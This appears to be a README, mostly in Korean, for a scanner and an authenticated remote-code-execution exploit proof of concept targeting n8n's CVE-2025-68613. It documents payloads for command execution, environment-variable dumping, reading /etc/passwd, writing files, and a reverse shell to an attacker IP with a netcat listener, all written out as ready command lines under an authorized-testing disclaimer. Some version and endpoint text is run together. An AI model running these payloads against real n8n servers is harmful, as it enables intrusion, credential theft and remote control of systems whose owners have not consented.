gagaltotal/n8n-cve-2025-68613n8n의 CVE-2025-68613에 대한 인증된 RCE 익스플로잇 PoC 및 취약점 스캐너입니다. 권한이 부여된 보안 테스트를 위한 명령 실행, 파일 작업, 리버스 셸 페이로드를 지원합니다.
이 툴킷은 n8n Workflow Automation Platform의 중요한 취약점 CVE-2025-68613에 대한 스캐너 및 익스플로잇 PoC를 제공합니다.
이 저장소는 n8n Workflow Automation Platform에 영향을 미치는 중요한 CVE-2025-68613 취약점에 대한 스캐너 및 익스플로잇 PoC 스크립트를 제공합니다.
이 도구는 합법적이고 허가된 보안 테스트 전용입니다. 소유자의 허가 없이 이 도구를 시스템에 사용하는 것은 금지됩니다.
This tool is ONLY for authorized and legal security testing. Unauthorized usage is illegal and prohibited.
0.211.0 – 1.120.31.121.01.120.4+1.121.1+1.122.0+.
├── tot-scanner-2025-68613.py # 취약점 스캐너 (익스플로잇 없음)
├── tot-exploit-2025-68613.py # 인증된 RCE 익스플로잇 PoC
├── requirements.txt
└── README.md
스캐너는 다음 용도로 사용됩니다:
The scanner:
스캐너는 다음 엔드포인트를 확인합니다:
//rest/settings/healthz/api/v1/health필요한 패키지:
requirements.txt 파일 내용:
requests>=2.28.0
Required packages:
requirements.txt content:
requests>=2.28.0
pip install -r requirements.txt
python3 tot-scanner-2025-68613.py -u http://target.com:5678
python3 tot-scanner-2025-68613.py -u http://target.com:5678 --json
{
"target": "http://target.com:5678",
"detected": true,
"version": "1.121.0",
"vulnerable": true,
"status": "vulnerable",
"cve": "CVE-2025-68613"
}
| 코드 | 의미 |
|---|---|
| 0 | 취약하지 않음 |
| 1 | 버전 알 수 없음 |
| 2 | 취약함 |
이 익스플로잇은 유효한 n8n 자격 증명이 필요합니다
Authenticated access is REQUIRED
익스플로잇 작동 방식:
Set 노드에 악의적인 표현식 삽입| 인자 | 필수 | 설명 |
|---|---|---|
-u / --url | ✅ | 대상 n8n URL |
-e / --email | ✅ | n8n 계정 이메일 |
-p / --password | ✅ | n8n 계정 비밀번호 |
--payload | ✅ | 페이로드 유형 |
--command | ❌ | OS 명령어 (cmd) |
--file | ❌ | 파일 경로 (read/write) |
--content | ❌ | 파일 내용 (write) |
--lhost | ❌ | 공격자 IP (revshell) |
--lport | ❌ | 공격자 포트 (revshell) |
--verify-ssl | ❌ | SSL 인증서 확인 |
| 페이로드 | 기능 |
|---|---|
info | 시스템 정보 |
cmd | 명령 실행 |
env | 환경 변수 덤프 |
read | 파일 읽기 |
write | 파일 쓰기 |
revshell | 리버스 셸 |
python3 tot-exploit-2025-68613.py -u http://target.com:5678 -e [email protected] -p password --payload info
python3 tot-exploit-2025-68613.py -u http://target.com:5678 -e [email protected] -p password --payload cmd --command "id"
python3 tot-exploit-2025-68613.py -u http://target.com:5678 -e [email protected] -p password --payload read --file /etc/passwd
python3 tot-exploit-2025-68613.py -u http://target.com:5678 -e [email protected] -p password --payload write --file /tmp/pwned.txt --content "owned"
nc -lvnp 4444
python3 tot-exploit-2025-68613.py -u http://target.com:5678 -e [email protected] -p password --payload revshell --lhost 10.10.14.5 --lport 4444
/rest/* 엔드포인트 접근 제한이 프로젝트는 교육 및 허가된 보안 테스트 목적으로만 제공됩니다. 저자는 오용에 대해 책임을 지지 않습니다.
n8n
cve
cve-2025-68613
rce
expression-injection
security
pentest
red-team
blue-team
python
합법적이고 윤리적으로 유지하세요.